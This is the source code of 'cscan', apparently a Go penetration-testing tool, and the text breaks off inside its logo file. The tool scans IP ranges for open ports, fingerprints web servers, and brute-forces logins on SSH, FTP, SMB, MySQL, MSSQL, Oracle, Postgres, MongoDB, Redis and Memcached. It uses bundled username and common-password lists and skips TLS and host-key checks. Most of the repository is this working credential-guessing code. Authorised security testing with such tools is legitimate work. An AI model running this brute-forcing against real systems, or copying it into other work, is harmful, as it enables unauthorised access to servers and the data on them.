├── config ├── info.go ├── log.go ├── dataType.go ├── logo.go └── global.go ├── util ├── log │ └── logPrint.go ├── file │ ├── writeFile_test.go │ ├── readFile_test.go │ ├── writeFile.go │ └── readFile.go ├── identify │ ├── ip_test.go │ └── ip.go ├── view │ ├── viewPrint.go │ └── viewPrint_test.go ├── progressBar │ ├── progress.go │ └── progress_test.go └── regex2 │ ├── regexp2.go │ └── regexp2_test.go ├── control ├── crack │ ├── crack_test.go │ ├── dic │ │ ├── username.txt │ │ └── password.txt │ ├── connectLib │ │ ├── connect_test.go │ │ ├── rdp.go │ │ ├── connect.go │ │ ├── memcached.go │ │ ├── redis.go │ │ ├── ftp.go │ │ ├── smb.go │ │ ├── ssh.go │ │ ├── postgres.go │ │ ├── mongodb.go │ │ ├── oracle.go │ │ ├── mysql.go │ │ └── mssql.go │ └── crack.go ├── output │ ├── output_test.go │ └── output.go ├── newScan │ ├── crackScan.go │ ├── portScan.go │ ├── scan.go │ ├── webScan.go │ └── start.go ├── http │ ├── httpN_test.go │ └── httpN.go └── scan │ ├── portScan_test.go │ ├── webScan_test.go │ ├── portScan.go │ ├── webScan.go │ └── start.go ├── main.go ├── LICENSE ├── flag └── flag.go ├── go.mod ├── README.md └── go.sum /config/info.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | // 作者 4 | const author = "ifacker" 5 | 6 | // 版本 7 | const version = "1.4" 8 | -------------------------------------------------------------------------------- /util/log/logPrint.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | // 打印 log 4 | //func Print(log any) { 5 | // if config.Debug { 6 | // log2.Println(log) 7 | // } 8 | //} 9 | -------------------------------------------------------------------------------- /config/log.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import "log" 4 | 5 | // log 格式化配置 6 | func LogConfigInit() { 7 | log.SetFlags(log.Ldate | log.Ltime | log.Lshortfile) 8 | } 9 | -------------------------------------------------------------------------------- /control/crack/crack_test.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "cscan/config" 5 | "testing" 6 | ) 7 | 8 | func TestStartCrack(t *testing.T) { 9 | StartCrack(&config.IpOptions{}) 10 | } 11 | -------------------------------------------------------------------------------- /control/output/output_test.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "cscan/config" 5 | "testing" 6 | ) 7 | 8 | func TestOutputFile(t *testing.T) { 9 | OutputFile("abcd.CSV", nil, config.MODE_WEB) 10 | } 11 | -------------------------------------------------------------------------------- /util/file/writeFile_test.go: -------------------------------------------------------------------------------- 1 | package file 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | ) 7 | 8 | func TestWriteFile(t *testing.T) { 9 | body := []byte("hello world") 10 | b := WriteFile("test.txt", body) 11 | fmt.Println(b) 12 | } 13 | -------------------------------------------------------------------------------- /util/file/readFile_test.go: -------------------------------------------------------------------------------- 1 | package file 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func TestReadFile(t *testing.T) { 10 | config.Debug = true 11 | body := ReadFile("../../go.mod") 12 | fmt.Println(string(body)) 13 | } 14 | -------------------------------------------------------------------------------- /control/crack/dic/username.txt: -------------------------------------------------------------------------------- 1 | parrot 2 | admin 3 | administrator 4 | mysql 5 | mssql 6 | oracle 7 | root 8 | kali 9 | ubuntu 10 | pi 11 | ftp 12 | www 13 | web 14 | db 15 | wwwroot 16 | data 17 | sa 18 | sql 19 | guest 20 | postgres 21 | sys 22 | system 23 | test 24 | orcl 25 | -------------------------------------------------------------------------------- /control/newScan/crackScan.go: -------------------------------------------------------------------------------- 1 | package newScan 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/control/crack" 6 | ) 7 | 8 | // 对一些特殊端口进行暴力破解 9 | func crackStart(ipOption *config.IpOptions) { 10 | if config.NotCrack { 11 | return 12 | } 13 | crack.StartCrack(ipOption) 14 | } 15 | -------------------------------------------------------------------------------- /control/crack/connectLib/connect_test.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | ) 7 | 8 | func TestConnect(t *testing.T) { 9 | var connect Connect 10 | connect = &IpCrack{ 11 | Ip: "192.168.222.109", 12 | Port: 22, 13 | UserName: "parrot", 14 | Password: "1345", 15 | } 16 | connect.ConnectSSH() 17 | fmt.Println(connect) 18 | } 19 | -------------------------------------------------------------------------------- /util/file/writeFile.go: -------------------------------------------------------------------------------- 1 | package file 2 | 3 | import ( 4 | "cscan/config" 5 | "log" 6 | "os" 7 | ) 8 | 9 | // 写入文件 10 | func WriteFile(filepath string, content []byte) bool { 11 | file, err := os.OpenFile(filepath, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0644) 12 | if err != nil && config.Debug { 13 | log.Println(err) 14 | return false 15 | } 16 | file.Write(content) 17 | return true 18 | } 19 | -------------------------------------------------------------------------------- /util/identify/ip_test.go: -------------------------------------------------------------------------------- 1 | package identify 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func TestIpRange(t *testing.T) { 10 | config.LogConfigInit() 11 | config.Debug = true 12 | //IpRange("192.168.11.1-254") 13 | //IpRange("192.168.11.1") 14 | result, _ := IpRange(" 192.168.12.1-20, 192.168.3.3, 192.168.1.1/24") 15 | fmt.Println(len(result), result) 16 | 17 | } 18 | -------------------------------------------------------------------------------- /control/crack/connectLib/rdp.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | //func (crack *IpCrack) ConnectRdp() { 4 | // addr := fmt.Sprintf("%s:%d", crack.Ip, crack.Port) 5 | // err := grdp.Login(addr, "", crack.UserName, crack.Password, config.TimeOutSet) 6 | // if err != nil { 7 | // if strings.Contains(err.Error(), "timeout") { 8 | // if config.Debug { 9 | // log.Println(err) 10 | // } 11 | // } 12 | // } else { 13 | // crack.CrackStatus = true 14 | // } 15 | //} 16 | -------------------------------------------------------------------------------- /control/crack/connectLib/connect.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | type IpCrack struct { 4 | Ip string 5 | Port int 6 | UserName string 7 | Password string 8 | CrackStatus bool // 爆破是否成功 9 | } 10 | 11 | type Connect interface { 12 | ConnectSSH() 13 | ConnectMssql() 14 | ConnectMysql() 15 | ConnectFtp() 16 | ConnectSmb() 17 | ConnectMemcached() 18 | ConnectMongodb() 19 | ConnectOracle() 20 | ConnectPostgres() 21 | ConnectRedis() 22 | //ConnectRdp() 23 | } 24 | -------------------------------------------------------------------------------- /control/crack/connectLib/memcached.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "github.com/bradfitz/gomemcache/memcache" 7 | "log" 8 | ) 9 | 10 | // 连接 memcached 协议 11 | func (crack *IpCrack) ConnectMemcached() { 12 | connectData := fmt.Sprintf("%s:%d", crack.Ip, crack.Port) 13 | mc := memcache.New(connectData) 14 | err := mc.Ping() 15 | if err == nil { 16 | crack.CrackStatus = true 17 | } else { 18 | if config.Debug { 19 | log.Println(err) 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /util/view/viewPrint.go: -------------------------------------------------------------------------------- 1 | package view 2 | 3 | import "github.com/gookit/color" 4 | 5 | // 打印成功的结果 6 | func PrintlnSuccess(content any) { 7 | color.C256(46).Printf("[+] %v\n", content) 8 | } 9 | 10 | // 打印失败信息 11 | func PrintlnFailed(content any) { 12 | color.C256(1).Printf("[-] %v\n", content) 13 | } 14 | 15 | // 打印基础信息 16 | func PrintlnInfo(content any) { 17 | color.C256(247).Printf("[*] %v\n", content) 18 | } 19 | 20 | // 打印错误信息 21 | func PrintlnError(content any) { 22 | color.Errorf("[Err] %v\n", content) 23 | } 24 | -------------------------------------------------------------------------------- /util/progressBar/progress.go: -------------------------------------------------------------------------------- 1 | package progressBar 2 | 3 | import ( 4 | "github.com/gookit/color" 5 | "sync" 6 | "time" 7 | ) 8 | 9 | // 进度条 10 | func Progress(viewText string, channel chan bool, wg *sync.WaitGroup) { 11 | 12 | // 显示加载界面 13 | color.C256(226).Print(" " + viewText) 14 | out: 15 | for { 16 | select { 17 | case <-channel: 18 | break out 19 | default: 20 | color.C256(226).Print(".") 21 | time.Sleep(1 * time.Second) 22 | } 23 | } 24 | //color.C256(226).Println("OK!\n") 25 | wg.Done() 26 | } 27 | -------------------------------------------------------------------------------- /control/http/httpN_test.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "net/http" 9 | "testing" 10 | ) 11 | 12 | func TestNewClient(t *testing.T) { 13 | config.Proxy = "socks5://localhost:1080" 14 | clinet := NewClient() 15 | req, err := http.NewRequest("GET", "https://baidu.com", nil) 16 | if err != nil { 17 | log.Println(err) 18 | } 19 | resp, err := clinet.Do(req) 20 | if err != nil { 21 | log.Println(err) 22 | } 23 | result, _ := ioutil.ReadAll(resp.Body) 24 | fmt.Println(string(result)) 25 | } 26 | -------------------------------------------------------------------------------- /control/newScan/portScan.go: -------------------------------------------------------------------------------- 1 | package newScan 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "log" 7 | "net" 8 | ) 9 | 10 | // 传入 ipOption,检查端口有没有开放 11 | func PortScan(ipOption *config.IpOption) { 12 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", ipOption.Ip, ipOption.Port), config.TimeOut) 13 | if err != nil && config.Debug { 14 | log.Println(err) 15 | ipOption.PortOpenStatus = false 16 | } else { 17 | if conn != nil { 18 | ipOption.PortOpenStatus = true 19 | } else { 20 | ipOption.PortOpenStatus = false 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /control/crack/connectLib/redis.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "github.com/go-redis/redis" 7 | "log" 8 | ) 9 | 10 | // 连接 redis 协议 11 | func (crack *IpCrack) ConnectRedis() { 12 | option := redis.Options{ 13 | Addr: fmt.Sprintf("%s:%d", crack.Ip, crack.Port), 14 | Password: crack.Password, 15 | DB: 0, 16 | DialTimeout: config.TimeOut, 17 | } 18 | client := redis.NewClient(&option) 19 | defer client.Close() 20 | _, err := client.Ping().Result() 21 | if err == nil { 22 | crack.CrackStatus = true 23 | } else { 24 | if config.Debug { 25 | log.Println(err) 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /control/http/httpN.go: -------------------------------------------------------------------------------- 1 | package http 2 | 3 | import ( 4 | "crypto/tls" 5 | "cscan/config" 6 | "github.com/ifacker/myutil" 7 | "log" 8 | "net/http" 9 | ) 10 | 11 | func NewClient() *http.Client { 12 | tr := &http.Transport{ 13 | MaxIdleConns: 500, 14 | MaxIdleConnsPerHost: 500, 15 | MaxConnsPerHost: 500, 16 | TLSClientConfig: &tls.Config{ 17 | InsecureSkipVerify: true, 18 | }, 19 | } 20 | 21 | err := myutil.InitProxy(tr, config.Proxy) 22 | if err != nil && config.Debug { 23 | log.Println(err) 24 | } 25 | httpClient := &http.Client{ 26 | Transport: tr, 27 | Timeout: config.TimeOut, 28 | } 29 | return httpClient 30 | } 31 | -------------------------------------------------------------------------------- /control/crack/connectLib/ftp.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "github.com/jlaffaye/ftp" 7 | "log" 8 | ) 9 | 10 | // 连接 ftp 协议 11 | func (crack *IpCrack) ConnectFtp() { 12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password 13 | conn, err := ftp.DialTimeout(fmt.Sprintf("%s:%d", Host, Port), config.TimeOut) 14 | if err == nil { 15 | err = conn.Login(Username, Password) 16 | defer conn.Logout() 17 | if err == nil { 18 | crack.CrackStatus = true 19 | } else { 20 | if config.Debug { 21 | log.Println(err) 22 | } 23 | } 24 | } else { 25 | if config.Debug { 26 | log.Println(err) 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "cscan/config" 5 | "cscan/control/newScan" 6 | "cscan/flag" 7 | "fmt" 8 | "time" 9 | ) 10 | 11 | var startTime time.Time 12 | 13 | func init() { 14 | // 记录开始时间 15 | startTime = time.Now() 16 | fmt.Println("程序开始执行时的时间:", startTime.Format(time.RFC3339)) 17 | 18 | // 初始化 log 配置文件 19 | config.LogConfigInit() 20 | // 打印 logo 21 | fmt.Println(config.Logo) 22 | // 初始化 flag 23 | flag.Init() 24 | } 25 | 26 | func main() { 27 | //scan.StartScans() 28 | newScan.NewStartScans() 29 | 30 | // 记录结束时间 31 | endTime := time.Now() 32 | fmt.Println("程序执行结束时的时间:", endTime.Format(time.RFC3339)) 33 | 34 | // 还可以计算执行时间差 35 | duration := endTime.Sub(startTime) 36 | fmt.Printf("程序执行总时间: %v\n", duration) 37 | } 38 | -------------------------------------------------------------------------------- /control/crack/connectLib/smb.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "github.com/stacktitan/smb/smb" 6 | "log" 7 | ) 8 | 9 | // 连接 smb 协议 10 | func (crack *IpCrack) ConnectSmb() { 11 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password 12 | options := smb.Options{ 13 | Host: Host, 14 | Port: Port, 15 | User: Username, 16 | Password: Password, 17 | Domain: "", 18 | Workstation: "", 19 | } 20 | 21 | session, err := smb.NewSession(options, false) 22 | if err == nil { 23 | session.Close() 24 | if session.IsAuthenticated { 25 | crack.CrackStatus = true 26 | } 27 | } else { 28 | if config.Debug { 29 | log.Println(err) 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /util/progressBar/progress_test.go: -------------------------------------------------------------------------------- 1 | package progressBar 2 | 3 | import ( 4 | "sync" 5 | "testing" 6 | "time" 7 | ) 8 | 9 | func TestProgress(t *testing.T) { 10 | c := make(chan bool) 11 | wg := &sync.WaitGroup{} 12 | viewText := "Test" 13 | wg.Add(1) 14 | go Progress(viewText, c, wg) 15 | 16 | //go func(c chan bool) { 17 | // color.C256(226).Print(" Loading") 18 | //out: 19 | // for { 20 | // select { 21 | // case <-c: 22 | // break out 23 | // default: 24 | // color.C256(226).Print(".") 25 | // time.Sleep(1 * time.Second) 26 | // } 27 | // } 28 | // color.C256(226).Println("OK!\n") 29 | // wg.Done() 30 | //}(c) 31 | 32 | for i := 0; i < 5; i++ { 33 | time.Sleep(1 * time.Second) 34 | } 35 | 36 | c <- true 37 | 38 | wg.Wait() 39 | } 40 | -------------------------------------------------------------------------------- /control/crack/connectLib/ssh.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "golang.org/x/crypto/ssh" 7 | "log" 8 | "time" 9 | ) 10 | 11 | // 连接 ssh 协议 12 | func (crack *IpCrack) ConnectSSH() { 13 | clientconfig := &ssh.ClientConfig{ 14 | User: crack.UserName, 15 | Auth: []ssh.AuthMethod{ssh.Password(crack.Password)}, 16 | Timeout: config.TimeOut, 17 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 18 | } 19 | address := fmt.Sprintf("%s:%d", crack.Ip, crack.Port) 20 | sshClient, err := ssh.Dial("tcp", address, clientconfig) 21 | time.Sleep(1 * time.Second) 22 | if err == nil { 23 | sshClient.Close() 24 | crack.CrackStatus = true 25 | } else { 26 | if config.Debug { 27 | log.Println(err) 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /control/scan/portScan_test.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func TestPortScan(t *testing.T) { 10 | ipOption := config.IpOption{Ip: "localhost", Port: 1080} 11 | PortScan(&ipOption) 12 | if ipOption.PortOpenStatus { 13 | fmt.Println("open") 14 | } else { 15 | fmt.Println("close") 16 | } 17 | } 18 | 19 | func TestPortScans(t *testing.T) { 20 | ipOptions := config.IpOptions{ 21 | Ips: []string{"www.baidu.com", "www.taobao.com"}, 22 | Ports: []int{443, 80, 88}, 23 | } 24 | config.ThreadMax = 10 25 | config.ViewAll = true 26 | PortScans(&ipOptions) 27 | fmt.Println("--------") 28 | for _, option := range ipOptions.IpOption { 29 | fmt.Printf("%s:%d --> %v\n", option.Ip, option.Port, option.PortOpenStatus) 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /util/file/readFile.go: -------------------------------------------------------------------------------- 1 | package file 2 | 3 | import ( 4 | "cscan/config" 5 | "embed" 6 | "io" 7 | "log" 8 | "os" 9 | "strings" 10 | ) 11 | 12 | // 读取文件 13 | func ReadFile(filePath string) []byte { 14 | file, err := os.OpenFile(filePath, os.O_RDWR, 0644) 15 | if err != nil && config.Debug { 16 | log.Println(err) 17 | } 18 | body, err := io.ReadAll(file) 19 | if err != nil && config.Debug { 20 | log.Println(err) 21 | } 22 | return body 23 | } 24 | 25 | // 读取文件并按行转化成数组类型的 string 类型 26 | func ReadFile2Strings4embed(dic embed.FS, filePath string) []string { 27 | resultByte, err := dic.ReadFile("dic/" + filePath) 28 | if err != nil { 29 | if config.Debug { 30 | log.Println(err) 31 | } 32 | } 33 | resultStr := string(resultByte) 34 | return strings.Split(resultStr, "\n") 35 | } 36 | -------------------------------------------------------------------------------- /control/crack/connectLib/postgres.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "database/sql" 6 | "fmt" 7 | "log" 8 | ) 9 | 10 | // 连接 postgres 协议 11 | func (crack *IpCrack) ConnectPostgres() { 12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password 13 | dataSourceName := fmt.Sprintf("postgres://%s:%s@%s:%d/%s?sslmode=%s", Username, Password, Host, Port, "postgres", "disable") 14 | db, err := sql.Open("postgres", dataSourceName) 15 | if err == nil { 16 | db.SetConnMaxLifetime(config.TimeOut) 17 | defer db.Close() 18 | err = db.Ping() 19 | if err == nil { 20 | crack.CrackStatus = true 21 | } else { 22 | if config.Debug { 23 | log.Println(err) 24 | } 25 | } 26 | } else { 27 | if config.Debug { 28 | log.Println(err) 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /control/crack/connectLib/mongodb.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "gopkg.in/mgo.v2" 7 | "log" 8 | ) 9 | 10 | // 连接 mongodb 协议 11 | func (crack *IpCrack) ConnectMongodb() { 12 | url := "" 13 | if crack.UserName == "" && crack.Password == "" { 14 | url = fmt.Sprintf("mongodb://%s:%d/", crack.Ip, crack.Port) 15 | } else { 16 | url = fmt.Sprintf("mongodb://%s:%s@%s:%d/", crack.UserName, crack.Password, crack.Ip, crack.Port) 17 | } 18 | session, err := mgo.DialWithTimeout(url, config.TimeOut) 19 | //defer session.Close() 20 | if err != nil { 21 | if config.Debug { 22 | log.Println(err) 23 | } 24 | } 25 | err = session.Ping() 26 | if err == nil { 27 | session.Close() 28 | crack.CrackStatus = true 29 | } else { 30 | if config.Debug { 31 | log.Println(err) 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /control/crack/connectLib/oracle.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "database/sql" 6 | "fmt" 7 | "log" 8 | ) 9 | 10 | // 连接 oracle 协议 11 | func (crack *IpCrack) ConnectOracle() { 12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password 13 | dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%d/orcl", Username, Password, Host, Port) 14 | db, err := sql.Open("oracle", dataSourceName) 15 | if err == nil { 16 | db.SetConnMaxLifetime(config.TimeOut) 17 | db.SetConnMaxIdleTime(config.TimeOut) 18 | db.SetMaxIdleConns(0) 19 | defer db.Close() 20 | err = db.Ping() 21 | if err == nil { 22 | crack.CrackStatus = true 23 | } else { 24 | if config.Debug { 25 | log.Println(err) 26 | } 27 | } 28 | } else { 29 | if config.Debug { 30 | log.Println(err) 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /util/view/viewPrint_test.go: -------------------------------------------------------------------------------- 1 | package view 2 | 3 | import ( 4 | "fmt" 5 | "github.com/gookit/color" 6 | "testing" 7 | ) 8 | 9 | func TestPrintlnSuccess(t *testing.T) { 10 | PrintlnSuccess(fmt.Sprintf("%s, %s", color.C256(165).Sprintf("fuck"), color.C256(214).Sprintf("fucks"))) 11 | PrintlnSuccess("a" + color.C256(165).Sprintf("fuck") + "c") 12 | a := "http://www.baidu.com:80" 13 | b := color.C256(46).Sprintf("[") + color.C256(165).Sprintf("%d", 200) + color.C256(46).Sprintf("]") 14 | c := "https://www.baidu.com:443" 15 | d := "[200]" 16 | PrintlnSuccess(c + "\t" + d) 17 | PrintlnSuccess(a + "\t" + b) 18 | } 19 | 20 | func TestPrintlnFailed(t *testing.T) { 21 | PrintlnFailed("fuck, fuck") 22 | } 23 | 24 | func TestPrintlnInfo(t *testing.T) { 25 | PrintlnInfo("fuck") 26 | } 27 | 28 | func TestPrintlnError(t *testing.T) { 29 | PrintlnError("err") 30 | } 31 | -------------------------------------------------------------------------------- /config/dataType.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | const ( 4 | MODE_PORT = 1 5 | MODE_WEB = 2 6 | MODE_CRACK = 3 7 | ) 8 | 9 | // WebInfo web 信息 10 | type WebInfo struct { 11 | Url string //网站 URL 12 | Title string // 网站标题 13 | Len int64 // 返回 body 的长度 14 | Code int // 返回的状态码 15 | Url302Jump string // 302跳转后的链接 16 | Server string // header 头中的 server 字段 17 | XPoweredBy string // header 头中的 X-Powered-By 字段 18 | } 19 | 20 | // CrackInfo 要爆破的端口的信息 21 | type CrackInfo struct { 22 | UserName string 23 | Password string 24 | Deal string 25 | } 26 | 27 | type IpOption struct { 28 | Ip string 29 | Port int 30 | PortOpenStatus bool // 端口开放状态 31 | WebInfo WebInfo 32 | CrackInfo CrackInfo 33 | } 34 | 35 | type IpOptions struct { 36 | IpOption []*IpOption 37 | Ips []string 38 | Ports []int 39 | } 40 | -------------------------------------------------------------------------------- /control/crack/connectLib/mysql.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "database/sql" 6 | "fmt" 7 | "log" 8 | ) 9 | 10 | // 连接 mysql 协议 11 | func (crack *IpCrack) ConnectMysql() { 12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password 13 | dataSourceName := fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, config.TimeOut) 14 | db, err := sql.Open("mysql", dataSourceName) 15 | if err == nil { 16 | db.SetConnMaxLifetime(config.TimeOut) 17 | db.SetConnMaxIdleTime(config.TimeOut) 18 | db.SetMaxIdleConns(0) 19 | defer db.Close() 20 | err = db.Ping() 21 | if err == nil { 22 | crack.CrackStatus = true 23 | } else { 24 | if config.Debug { 25 | log.Println(err) 26 | } 27 | } 28 | } else { 29 | if config.Debug { 30 | log.Println(err) 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /control/crack/connectLib/mssql.go: -------------------------------------------------------------------------------- 1 | package connectLib 2 | 3 | import ( 4 | "cscan/config" 5 | "database/sql" 6 | "fmt" 7 | "log" 8 | ) 9 | 10 | // 连接 mssql 协议 11 | func (crack *IpCrack) ConnectMssql() { 12 | Host, Port, Username, Password := crack.Ip, crack.Port, crack.UserName, crack.Password 13 | dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%v", Host, Username, Password, Port, config.TimeOut) 14 | db, err := sql.Open("mssql", dataSourceName) 15 | if err == nil { 16 | db.SetConnMaxLifetime(config.TimeOut) 17 | db.SetConnMaxIdleTime(config.TimeOut) 18 | db.SetMaxIdleConns(0) 19 | defer db.Close() 20 | err = db.Ping() 21 | if err == nil { 22 | crack.CrackStatus = true 23 | } else { 24 | if config.Debug { 25 | log.Println(err) 26 | } 27 | } 28 | } else { 29 | if config.Debug { 30 | log.Println(err) 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /control/scan/webScan_test.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "cscan/config" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func TestWebScan(t *testing.T) { 10 | //config.LogConfigInit() 11 | //config.Debug = true 12 | ipOption := &config.IpOption{ 13 | Ip: "www.baidu.com", 14 | Port: 80, 15 | PortOpenStatus: true, 16 | WebInfo: config.WebInfo{}, 17 | } 18 | WebScan(ipOption) 19 | fmt.Println(ipOption) 20 | } 21 | 22 | func TestWebScans(t *testing.T) { 23 | ipOptions := &config.IpOptions{ 24 | IpOption: []*config.IpOption{ 25 | { 26 | Ip: "www.baidu.com", 27 | Port: 443, 28 | PortOpenStatus: true, 29 | WebInfo: config.WebInfo{}, 30 | }, 31 | { 32 | Ip: "www.weibo.com", 33 | Port: 80, 34 | PortOpenStatus: true, 35 | WebInfo: config.WebInfo{}, 36 | }, 37 | }, 38 | } 39 | WebScans(ipOptions) 40 | } 41 | -------------------------------------------------------------------------------- /util/regex2/regexp2.go: -------------------------------------------------------------------------------- 1 | package regex2 2 | 3 | import "github.com/dlclark/regexp2" 4 | 5 | // 正则表达式 全局查找 支持最新规则 (传入 re 参数和将要筛选的内容) 6 | func Regexp2FindAllString(re *regexp2.Regexp, s string) []string { 7 | var matches []string 8 | m, _ := re.FindStringMatch(s) 9 | for m != nil { 10 | matches = append(matches, m.String()) 11 | m, _ = re.FindNextMatch(m) 12 | } 13 | return matches 14 | } 15 | 16 | // 正则表达式 简单使用 (传入将要筛选的内容和正则表达式) 17 | func Regexp2SimpleUse(body, regex string) ([]string, error) { 18 | re, err := regexp2.Compile(regex, 0) 19 | if err != nil { 20 | return nil, err 21 | } 22 | regexResult := Regexp2FindAllString(re, body) 23 | return regexResult, nil 24 | } 25 | 26 | // 正则表达式 替换 27 | func Regexp2SimpleReplace(src, dest, regex string) (string, error) { 28 | re, err := regexp2.Compile(regex, 0) 29 | if err != nil { 30 | return "", err 31 | } 32 | result, err := re.Replace(src, dest, -1, -1) 33 | if err != nil { 34 | return "", err 35 | } 36 | return result, nil 37 | } 38 | -------------------------------------------------------------------------------- /control/crack/dic/password.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | 1q2w3e4r 3 | 1234qwer 4 | !Q@W#E$R 5 | toor 6 | root 7 | admin 8 | admin123 9 | 10 | pass123 11 | pass@123 12 | password 13 | 123123 14 | 654321 15 | 111111 16 | 123 17 | 1 18 | admin@123 19 | Admin@123 20 | admin123!@# 21 | {{USER}} 22 | {{USER}}1 23 | {{USER}}111 24 | {{USER}}123 25 | {{USER}}@123 26 | {{USER}}_123 27 | {{USER}}#123 28 | {{USER}}@111 29 | {{USER}}@2019 30 | {{USER}}@123#4 31 | P@ssw0rd! 32 | P@ssw0rd 33 | Passw0rd 34 | qwe123 35 | 12345678 36 | test 37 | test123 38 | 123qwe 39 | 123qwe!@# 40 | 123456789 41 | 123321 42 | 666666 43 | a123456. 44 | 123456~a 45 | 123456!a 46 | 000000 47 | 1234567890 48 | 8888888 49 | !QAZ2wsx 50 | 1qaz2wsx 51 | abc123 52 | abc123456 53 | 1qaz@WSX 54 | a11111 55 | a12345 56 | Aa1234 57 | Aa1234. 58 | Aa12345 59 | a123456 60 | a123123 61 | Aa123123 62 | Aa123456 63 | Aa12345. 64 | sysadmin 65 | system 66 | 1qaz!QAZ 67 | 2wsx@WSX 68 | qwe123!@# 69 | Aa123456! 70 | A123456s! 71 | sa123456 72 | 1q2w3e 73 | Charge123 74 | Aa123456789 75 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 ifacker 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /config/logo.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "fmt" 5 | "github.com/gookit/color" 6 | ) 7 | 8 | var logoUp = color.Red.Sprintf("\n ..:::::::::..\n ..:::aad88x8888baa:::..\n .::::d:?88888xxx888?::8b::::.\n .:::d8888:?888xxxxx??a888888b:::.\n .:::d8888888a8888xxxaa8888888888b:::.\n ::::dP::::::::88888x88888::::::::Yb::::\n ::::dP:::::::::Y888888888P:::::::::Yb::::\n ::::d8::::x::::::Y8888888P:::::x:::::8b::::\n .::::88::::::::::::Y88888P::::::::::::88::::.\n 